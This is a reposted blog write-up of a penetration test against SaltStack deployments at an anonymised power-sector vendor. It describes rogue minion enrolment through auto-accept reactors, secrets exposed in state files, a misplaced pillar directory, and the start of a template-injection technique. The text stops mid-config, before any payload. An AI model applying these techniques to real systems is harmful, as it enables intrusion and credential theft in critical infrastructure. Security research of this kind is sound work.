{"id":50574,"date":"2023-02-15T17:31:05","date_gmt":"2023-02-15T17:31:05","guid":{"rendered":"https:\/\/packetstormsecurity.com\/news\/view\/34329\/A-Salt-Attacking-SaltStack.html"},"modified":"2023-02-15T17:31:05","modified_gmt":"2023-02-15T17:31:05","slug":"a-salt-attacking-saltstack","status":"publish","type":"post","link":"https:\/\/www.threatshub.org\/blog\/a-salt-attacking-saltstack\/","title":{"rendered":"A-Salt: Attacking SaltStack"},"content":{"rendered":"<p>SaltStack is an IT orchestration platform, similar to Puppet or Ansible. This blog post introduces a set of common misconfigurations we\u2019ve encountered in the wild, as well as a novel template injection technique that can achieve remote code execution on a <code>salt-master<\/code> (or master-of-masters) server. With a bit of luck, you can go from a basic presence in a network, to the keys to the kingdom, and potentially neighbouring kingdoms as well.<\/p>\n<p>This post is for attackers but I\u2019ve included a <a href=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/#Cheatsheet-for-Defenders\">cheatsheet summary for defenders<\/a> too.<\/p>\n<p>If this is your first time reading about <a target=\"_blank\" rel=\"noopener\" href=\"https:\/\/docs.saltproject.io\/\">Salt (aka SaltStack)<\/a>, it is a relatively new entrant to the IT orchestration field, alongside the likes of Ansible and Puppet. And because of that relative youth there is not very much in the security space written up on it. This post was written with the aim of helping anyone who is on a pentest\/red team and finds themselves in a network running Salt as well as those tasked with securing Salt.<\/p>\n<p>With that in mind, here is a basic primer:<\/p>\n<ol readability=\"5.5\">\n<li readability=\"3\">\n<p>Salt at its core is for automated infrastructure management focused around applying and maintaining states on devices. If the active state is misaligned to the configured state, it tries to fix it by reapplying whatever configuration the human IT administrator defined. This could be as simple as pushing up-to-date config files or as complex as triggering a build pipeline to ultimately bring up fresh containers across a fleet. It can be made to do basically anything by deploying custom scripts.<\/p>\n<\/li>\n<li readability=\"8\">\n<p>It is dependent on a software agent being installed and enrolled on devices to be managed. In Salt-speak these agents are \u2018minions\u2019 and they are slaved to one or more central \u2018master\u2019 controllers. The master device should be your target because it is a backdoor-as-a-feature to all minions under it. The master is almost certainly going to be a *nix box.<\/p>\n<p>Minions are pretty easy to spot once you are a host by checking any of the following:<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">systemctl status salt-minion\n<span class=\"token function\">ps<\/span> -aux <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> minion\n<span class=\"token function\">ls<\/span> \/etc\/salt\/minion.d\/\n<span class=\"token function\">ls<\/span> \/opt\/saltstack\/\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>You can spot a master server by:<\/p>\n<ul>\n<li>Checking a minion\u2019s \/etc\/salt\/minion.d\/master.conf file;<\/li>\n<li>Checking a minion\u2019s inbound\/outbound connections on TCP\/4505 and TCP\/4506; or<\/li>\n<li>Confirming a server has TCP\/4505 and TCP\/4506 open.<\/li>\n<li>Reminder &#8211; in large networks, different minions may be enrolled to different masters.<\/li>\n<\/ul>\n<\/li>\n<li>With Salt you are entering a world of Python and YAML so everything is a local file and can be read and edited from disk.<\/li>\n<\/ol>\n<p>Most of this research came out of a recent engagement for a company that makes niche software products for power grid site engineers\/operators. I\u2019m going to call them PowerCorp. These products are sold to various businesses involved in the electricity generation, transmission, and storage lifecycle and, as one might imagine for such niche software, was heavily customised for every customer. Most of PowerCorp\u2019s customers also had some form of customised on-prem infrastructure to support the whole thing (data syncs for field devices, analytics, office connectivity, VPNs). This stuff was all designed to operate within the customer\u2019s internal ecosystem and should never be shared between customers (competitors).<\/p>\n<figure><a href=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_1.png\"><img decoding=\"async\" src=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_1.png\" alt=\"Logical PowerCorp network architecture\" title=\"Logical PowerCorp network architecture\" data-toggle=\"lightbox\" data-remote=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_1.png\" data-footer=\"Logical PowerCorp network architecture\"><\/a><figcaption>Logical PowerCorp network architecture<\/figcaption><\/figure>\n<p>I was given one of PowerCorp\u2019s standard build field laptops (e.g. for an engineer travelling around) and tasked with getting up to no good. The main objective was to see how much damage a standard engineer\u2019s laptop could do to that customer\u2019s deployment since bringing down any of it could mean a massive loss of productivity and have potential safety implications. As you will see however, we went bigger and ultimately pivoted cross-customer as well.<\/p>\n<p>From the perspective of the laptop, a big part of the available attack surface inside a PowerCorp customer network was its Salt ecosystem which ultimately provided connectivity back into PowerCorp\u2019s central management zone.<\/p>\n<p>Having two layers of salt-masters like this where there is a top level master-of-masters is something Salt supports out of the box. The intermediary salt-master nodes (the customer site nodes) are called syndic nodes and they work just how you would expect &#8211; they are both a master to the minions below them and in turn are a minion themselves to the top level master server. This type of architecture was useful for PowerCorp to provide automation and serve necessary Salt functionality locally to a site even if links back to the PowerCorp network were not available.<\/p>\n<p>With PowerCorp in the background, I\u2019ve got four and a half things anyone testing Salt security should have in their arsenal. The first three are dead simple misconfigurations, but can prove very effective in taking down an environment. The last one and a half are much tastier and are where we achieved command execution across our target environment.<\/p>\n<p>Check these first, you might get pretty far without needing to do much work:<\/p>\n<ol>\n<li>Automatic minion enrolment<\/li>\n<li>Secrets storage in files rather than Salt\u2019s pillar system<\/li>\n<li>Exposure of sensitive\/unintended files, including Salt\u2019s pillar system<\/li>\n<\/ol>\n<p>Then move on to this:<\/p>\n<ol start=\"4\">\n<li>Jinja template injections<br \/>4.5. Trusting minions too much<\/li>\n<\/ol>\n<p><b>TL;DR<\/b><br \/>Always check if you can enrol your own rogue minion, it will make your life easier.<\/p>\n<hr>\n<p>A big part of the Salt model that may make attacking it difficult is that minions must be enrolled to gain access to any meaningful attack surface. Enrolment is supposed to be dependent on a human explicitly accepting the public key presented by each minion when it first comes on the network and reports in to its master.<\/p>\n<p>From a salt-master you would list minion keys awaiting acceptance:<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">salt-key -L\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<p>And permit them if you recognise them:<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">salt-key -a webserver07\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><\/span><\/code><\/pre>\n<p>If you do not recognise or generally trust a device, you should not accept it. It might not seem obvious why accepting a rogue device into your Salt environment could really be that bad though &#8211; what\u2019s the worst it could do if it lets us manage it? Well read on and you will get some ideas but the unsatisfying answer is that ~it depends~. It depends on how hardened the Salt environment is and what sorts of things the Salt state configurations are being used for.<\/p>\n<p>On a related tangent, I have issues with the official Salt documentation and its lack of security guidance. Auto enrolment is a good example of this. In the same guide it points out that you can configure automatic key acceptance, and even offers an approach to doing so, but then also includes one of its very few <a target=\"_blank\" rel=\"noopener\" href=\"https:\/\/docs.saltproject.io\/salt\/install-guide\/en\/latest\/topics\/accept-keys.html#accept-keys\">warnings<\/a> against doing this (it describes it as \u2018very dangerous\u2019 :|). At no point though does it explain why. With this kind of mixed messaging, it is understandable that an IT admin might ignore it for the sake of getting things done.<\/p>\n<p>For example, if you are the PowerCorp\u2019s IT admin, you want the provisioning of new customer infrastructure (laptops for engineers, servers for new sites) to be as automated and streamlined as possible. They had scripts that would install and configure salt-minions and then, once enrolled, Salt states would be triggered and the rest of the device was built from centrally managed state files. It was a pretty good workflow. One that was broken if the human needs to do the pesky manual key acceptance process above for each and every device. If you check the official <a target=\"_blank\" rel=\"noopener\" href=\"https:\/\/docs.saltproject.io\/en\/latest\/topics\/reactor\/#a-complete-example\">Salt documentation<\/a> again, you can see where the PowerCorp admin got the idea for their particular auto enrolment script too.<\/p>\n<p>Example definition from official Salt documentation:<\/p>\n<pre class=\"line-numbers language-bash\"><code class=\"language-bash\">\/srv\/reactor\/auth-pending.sls\n<span class=\"token punctuation\">{<\/span>% <span class=\"token keyword\">if<\/span> <span class=\"token string\">'act'<\/span> <span class=\"token keyword\">in<\/span> data and data<span class=\"token punctuation\">[<\/span><span class=\"token string\">'act'<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token operator\">==<\/span> <span class=\"token string\">'pend'<\/span> and data<span class=\"token punctuation\">[<\/span><span class=\"token string\">'id'<\/span><span class=\"token punctuation\">]<\/span>.startswith<span class=\"token punctuation\">(<\/span><span class=\"token string\">'ink'<\/span><span class=\"token punctuation\">)<\/span> %<span class=\"token punctuation\">}<\/span>\nminion_add: wheel.key.accept: - args: - match: <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">{<\/span> data<span class=\"token punctuation\">[<\/span><span class=\"token string\">'id'<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span>\n<span class=\"token punctuation\">{<\/span>% endif %<span class=\"token punctuation\">}<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>Here\u2019s what I found in the PowerCorp environment:<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\">\/srv\/reactor\/autoaccept.sls\n<span class=\"token punctuation\">{<\/span>% <span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">if 'act' in data and data['act'] == 'pend' or data['act'] == 'denied'<\/span> <span class=\"token directive important\">%}<\/span>\n<span class=\"token key atrule\">minion_add<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">wheel.key.accept<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">match<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">{<\/span> data<span class=\"token punctuation\">[<\/span><span class=\"token string\">'id'<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">include_denied<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token boolean important\">True<\/span>\n<span class=\"token punctuation\">{<\/span>% endif %<span class=\"token punctuation\">}<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>What is most impressive is the commitment to explicitly include \u2018denied\u2019 minions too. With this autoaccept.sls in place, all minions that request access (i.e. in the \u2018pend\u2019 state, pending for the human to accept them) are automatically permitted, as are any that the human might explicitly have denied in the past.<\/p>\n<h2 id=\"Why-do-we-as-attackers-care\">Why do we as attackers care?<\/h2>\n<p>Manipulating a minion and interacting with a master server is usually not something a low powered user can do. Our engineering account certainly couldn\u2019t. Automatic enrolment allows us to bypass this requirement by spinning up our own VM, installing salt-minion, and directing it to our target salt-master. Having root access to a minion makes abusing it significantly easier, in particular when exploring template injections (see Issue 4) but also for issuing in-built commands and being able to read local files.<\/p>\n<p>Another way to think about this is that auto enrolment means any endpoint controls can be bypassed\/ignored. If you are relying on a managed endpoint not getting up to no good (e.g. abusing tools like <code>salt-call event.send<\/code> to send malicious input to your salt-master, keep reading) because the user does not have privileged access to that device, you are going to have a bad time.<\/p>\n<p>On the PowerCorp laptop this was a simple matter of setting up some port forwarding to let our rogue VM talk to the master and we were away.<\/p>\n<figure><a href=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_2.png\"><img decoding=\"async\" src=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_2.png\" alt=\"Rogue minion on the network; what could go wrong?\" title=\"Rogue minion on the network; what could go wrong?\" data-toggle=\"lightbox\" data-remote=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_2.png\" data-footer=\"Rogue minion on the network; what could go wrong?\"><\/a><figcaption>Rogue minion on the network; what could go wrong?<\/figcaption><\/figure>\n<p><b>TL;DR<\/b><br \/>It is pretty easy to accidentally expose secrets to all minions; it is easy to check and, depending on the secret, could get you pretty far.<\/p>\n<hr>\n<p>Let\u2019s look at a minimal, but quite typical, salt-master configuration. You will see a master.conf and a top.sls (.sls is just the <b>S<\/b>a<b>L<\/b>t <b>S<\/b>tate; its all YAML) that look like this.<\/p>\n<p>\/etc\/salt\/master.d\/master.conf:<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">file_roots<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt <span class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt\/prod\/ <span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>\/srv\/salt\/top.sls:<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">'*'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> core <span class=\"token punctuation\">-<\/span> default_user <span class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">'web*'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> core <span class=\"token punctuation\">-<\/span> web_user <span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>Finally you will have the individual state files that contain the actual logic to apply, e.g. web_user in the above definition points to \/srv\/salt\/prod\/web_user.sls:<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">add_web_user<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">user.present<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">name<\/span><span class=\"token punctuation\">:<\/span> web_user <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">shell<\/span><span class=\"token punctuation\">:<\/span> \/bin\/sh <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">home<\/span><span class=\"token punctuation\">:<\/span> \/home\/default_user <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">uid<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token number\">5000<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">gid<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token number\">2000<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">password<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">$1$lMTTmEHJ$UrZ...qRBS0<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">require<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">...<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>The password here is sitting in cleartext on the salt-master in <code>web_user.sls<\/code>. Secrets of any kind should never be included in state files like this specifically because <b>everything in the file_roots defined above, which includes ALL state files (.sls) intended for ~some~ minion, are accessible to ~ALL~ minions. This includes minions that are not the target of those state files.<\/b><\/p>\n<p>This is because of how the salt system works &#8211; without going into detail, minions are expected to be able to pull down any required files from the file_roots directories whenever the minion decides it needs them to satisfy the state it is trying to achieve.<\/p>\n<p>In practice this is what this looks like from a minion:<\/p>\n<figure><a href=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/salt_get_master_files.png\"><img decoding=\"async\" src=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/salt_get_master_files.png\" alt=\"List and pull down file_roots files\" title=\"List and pull down file_roots files\" data-toggle=\"lightbox\" data-remote=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/salt_get_master_files.png\" data-footer=\"List and pull down file_roots files\"><\/a><figcaption>List and pull down file_roots files<\/figcaption><\/figure>\n<h2 id=\"Why-do-we-as-attackers-care-1\">Why do we as attackers care?<\/h2>\n<p>Any .sls files that insecurely include secrets are open season. In a sufficiently large environment, someone is likely to let something slip through. PowerCorp had 120+ distinct .sls files over multiple environments built by different teams. Teams were each responsible for different product components and salt-ifying their deployment. Several teams were guilty of storing secrets in normal .sls files that were fully exposed to all minions &#8211; I suspect because they were given a template to work from and were not actually the people administering Salt.<\/p>\n<p>Secret types I found included:<\/p>\n<ul>\n<li>Cleartext passwords for various local accounts<\/li>\n<li>API keys<\/li>\n<li>Private SSH keys<\/li>\n<li>FTP credentials for upstream artifact storage<\/li>\n<li>Logic showing how various systems were configured, including the master itself (this will be important later)<\/li>\n<\/ul>\n<p>This is a good example of why ~it depends~ how risky setting up minion auto enrolment and letting a rogue minion into a Salt environment is. In theory this should never happen but in practice it is very easy &#8211; there is no secrets masking or detection when this kind of mistake happens.<\/p>\n<figure><a href=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_3.png\"><img decoding=\"async\" src=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_3.png\" alt=\"Gained some access with compromised credentials\" title=\"Gained some access with compromised credentials\" data-toggle=\"lightbox\" data-remote=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_3.png\" data-footer=\"Gained some access with compromised credentials\"><\/a><figcaption>Gained some access with compromised credentials<\/figcaption><\/figure>\n<p><b>TL;DR<\/b><br \/><b>Q<\/b> &#8211; What\u2019s worse than including your secrets in cleartext files exposed to all minions?<br \/><b>A<\/b> &#8211; Putting in the effort to learn and reference the secrets storage system correctly, only to then expose the secrets\u2019 directory anyway.<\/p>\n<hr>\n<p>So how should Salt admins be handling secrets? Those passwords need to go somewhere after all. To translate some Salt parlance, the Pillar system, or just \u2018pillar\u2019, is what you are supposed to use for this exact situation &#8211; it is the salt-master\u2019s secrets storage system. The <a target=\"_blank\" rel=\"noopener\" href=\"https:\/\/docs.saltproject.io\/en\/latest\/topics\/tutorials\/pillar.html\">official documentation<\/a> tells us it should be used for, amongst other things, \u2018Highly Sensitive Data\u2019.<\/p>\n<p>If we expand upon the previous configuration in issue 2, this is what should be happening.<br \/>\/etc\/salt\/master.d\/master.conf<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">file_roots<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt <span class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt\/prod\/ <span class=\"token key atrule\">pillar_roots<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/pillar <span class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/pillar\/prod <span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>\/srv\/salt\/top.sls remains unchanged:<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">'*'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> core <span class=\"token punctuation\">-<\/span> default_user <span class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">'web*'<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> core <span class=\"token punctuation\">-<\/span> web_user <span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>Now we see the pillar system in action, the password is safely referencing the secrets storage and \/salt\/srv\/prod\/web_user.sls is fine to be exposed to minions:<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">add_web_user<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">user.present<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">name<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">{<\/span> pillar<span class=\"token punctuation\">[<\/span><span class=\"token string\">'web_user'<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string\">'username'<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">shell<\/span><span class=\"token punctuation\">:<\/span> \/bin\/sh <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">home<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">{<\/span> pillar<span class=\"token punctuation\">[<\/span><span class=\"token string\">'web_user'<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string\">'home_dir'<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">uid<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">{<\/span> pillar<span class=\"token punctuation\">[<\/span><span class=\"token string\">'web_user'<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string\">'uid'<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">gid<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">{<\/span> pillar<span class=\"token punctuation\">[<\/span><span class=\"token string\">'web_user'<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string\">'gid'<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">}<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">password<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token skylight-mark source-code-bold-red source-code-bold-green\">{{ pillar['web_user']['passwd'] }}<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">require<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">...<\/span>\n<span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>I am oversimplifying some of the configuration of how the pillar system would be setup but just know that when used correctly like this, the relevant minions can retrieve the secrets they need (in this case the <code>passwd<\/code> value) and ONLY those values. The minions are scoped to specific secrets and not others. In this way an admin can dish out secrets on an as-needed basis and, depending on the minion, have the secret dynamically change (e.g. different web servers hosting different applications might apply the same .sls state above but retrieve different <code>passwd<\/code> values).<\/p>\n<p>So what was the issue? Well, it is certainly less likely (I hope) but also much worse if you find it. Again the master.conf should look like this:<br \/>\/etc\/salt\/master.d\/master.conf <b>(Good)<\/b><\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">file_roots<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt <span class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt\/prod\/ <span class=\"token key atrule\">pillar_roots<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token skylight-mark source-code-bold-red source-code-bold-green\">\/srv\/<\/span>pillar <span class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token skylight-mark source-code-bold-red source-code-bold-green\">\/srv\/<\/span>pillar\/prod <span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>But in the PowerCorp network we actually encountered this:<br \/>\/etc\/salt\/master.d\/master.conf <b>(Very bad)<\/b><\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">file_roots<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt <span class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt\/prod\/ <span class=\"token key atrule\">pillar_roots<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">\/srv\/salt\/<\/span>pillar <span class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> <span class=\"token skylight-mark source-code-bold-red source-code-bold-red\">\/srv\/salt\/<\/span>pillar\/prod <span aria-hidden=\"true\" class=\"line-numbers-rows\"><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><span><\/span><\/span><\/code><\/pre>\n<p>Storing the <code>pillar<\/code> directory inside <code>\/srv\/salt\/<\/code> places it unsafely in the file_roots. Remember how all minions can see the file_roots directories? Well now all minions can read all the secrets files which ~can~ be encrypted but often are not. They certainly weren\u2019t at PowerCorp.<\/p>\n<p>You can check this easily by grepping through the naming of available files. If you get a hit you are very likely in an incorrectly configured environment that is incorrectly exposing all Salt secrets:<\/p>\n<figure><a href=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/issue_3.png\"><img decoding=\"async\" src=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/issue_3.png\" alt=\"Copy down secrets directory (pillar) and look for goodies\" title=\"Copy down secrets directory (pillar) and look for goodies\" data-toggle=\"lightbox\" data-remote=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/issue_3.png\" data-footer=\"Copy down secrets directory (pillar) and look for goodies\"><\/a><figcaption>Copy down secrets directory (pillar) and look for goodies<\/figcaption><\/figure>\n<p>For reasons that should be obvious, this is a pretty big no-no. In our test, this meant we had access to all the salt secrets which were very helpful for other, non-salt related, pivots through the site\u2019s infrastructure.<\/p>\n<figure><a href=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_4.png\"><img decoding=\"async\" src=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_4.png\" alt=\"So far we have access to most site infrastructure just from lame salt configuration issues\" title=\"So far we have access to most site infrastructure just from lame salt configuration issues\" data-toggle=\"lightbox\" data-remote=\"https:\/\/skylightcyber.com\/2023\/02\/09\/a-salt-attacking-saltstack\/powercorp_network_4.png\" data-footer=\"So far we have access to most site infrastructure just from lame salt configuration issues\"><\/a><figcaption>So far we have access to most site infrastructure just from lame salt configuration issues<\/figcaption><\/figure>\n<p>Alrighty, now that the quick wins are behind us, onto something more well seasoned.<\/p>\n<p><b>TL;DR<\/b><br \/>Common salt \u2018reactor\u2019 patterns are vulnerable to template injections, resulting in command execution. This means we can potentially run arbitrary code on the master, its minions, and all master-of-masters, pivoting up and cross-customers.<\/p>\n<hr>\n<p>Another feature of salt-masters is the <a target=\"_blank\" rel=\"noopener\" href=\"https:\/\/docs.saltproject.io\/en\/latest\/topics\/reactor\/index.html\">reactor<\/a> system which\u2026 reacts to things. Notably, it reacts to <b>minion submitted events<\/b> which we can control.<\/p>\n<p>Expanding on the <code>master.conf<\/code> definition from earlier:<br \/>\/etc\/salt\/master.d\/master.conf<\/p>\n<pre class=\"line-numbers language-yaml\"><code class=\"language-yaml\"><span class=\"token key atrule\">file_roots<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt <span class=\"token key atrule\">prod<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/salt\/prod\/ <span class=\"token key atrule\">pillar_roots<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token key atrule\">base<\/span><span class=\"token punctuation\">:<\/span> <span class=\"token punctuation\">-<\/span> \/srv\/pillar <span 